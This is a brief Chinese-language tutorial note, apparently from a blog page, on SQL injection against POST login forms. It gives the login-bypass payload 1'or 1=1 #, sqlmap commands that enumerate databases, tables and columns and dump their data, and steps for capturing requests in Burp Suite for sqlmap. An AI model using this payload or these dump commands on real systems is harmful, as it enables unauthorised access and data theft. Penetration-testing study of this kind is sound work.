本文介绍了SQL注入攻击中的两种常见方法，包括使用SQLmap工具进行POST注入，以及在实际环境中通过BurpSuite捕获和利用POST请求进行注入。详细步骤涉及参数位置操作、创建文本文件和使用命令行参数执行SQLmap脚本。
在输入框里面进行注入
需要的注释符 #
是否存在注入点，注入点在有和数据库服务器交互的地方
万能密码
1'or 1=1 #
sqlmap 之post 注入1:
将变量参数位置加*
uname =name*
在sqlmap安装 目录下面新建文本文件为x.txt
python sqlmap.py -r r.txt
--dbs
-D dn --tables
-D dn -T tn --columns
-D dn -T tn -c1,c2 --dump
post 注入2:
先将post请求在burp捕获，将抓到的请求内容保存到文件中，
sqlmap -r ./sqlmapfile（-r 捕获的请求文件及其所在位置） -p id(加入指定参数) --cookie=""
加入-p 指定参数 -p id
1万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
